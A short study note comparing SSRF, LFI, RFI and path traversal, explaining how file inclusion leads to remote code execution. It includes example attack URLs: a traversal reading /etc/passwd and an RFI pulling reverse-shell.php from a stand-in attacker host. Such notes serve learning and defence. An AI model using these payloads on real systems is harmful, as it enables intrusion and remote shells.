SSRF vs LFI vs RFI vs Path traversal
SSRF forces server to perform actions. but doesnt mean to execute any code.
It helps to describe the beaviour of the server making request to attacker's domain.
SSRF vs RFI:
RFI is one potential consequence of SSRF. We can use SSRF to check if RFI is possible.
RFI uses SSRF, but not all SSRF are RFI.
SSRf vs LFI:
SSRF can be used as LFI to scan internal resources that sit behind the firewall.
LFI vs RFI:
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
LFI vs path traversal:
Path traversal is rather passive attack, allowing access to files that is not meant to be accessed.
In LFI, file is included into code that webserver executes before rendering the page.
LFI/RFI leading to RCE:
In LFI, RCE code to be injected into log files and the file is called via http request, to execute.
hxxp://vulnerablesite.com/readpage?file=../../../../logs/reverse-shell
In RFI, RCE code should be called from external server and get executed.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
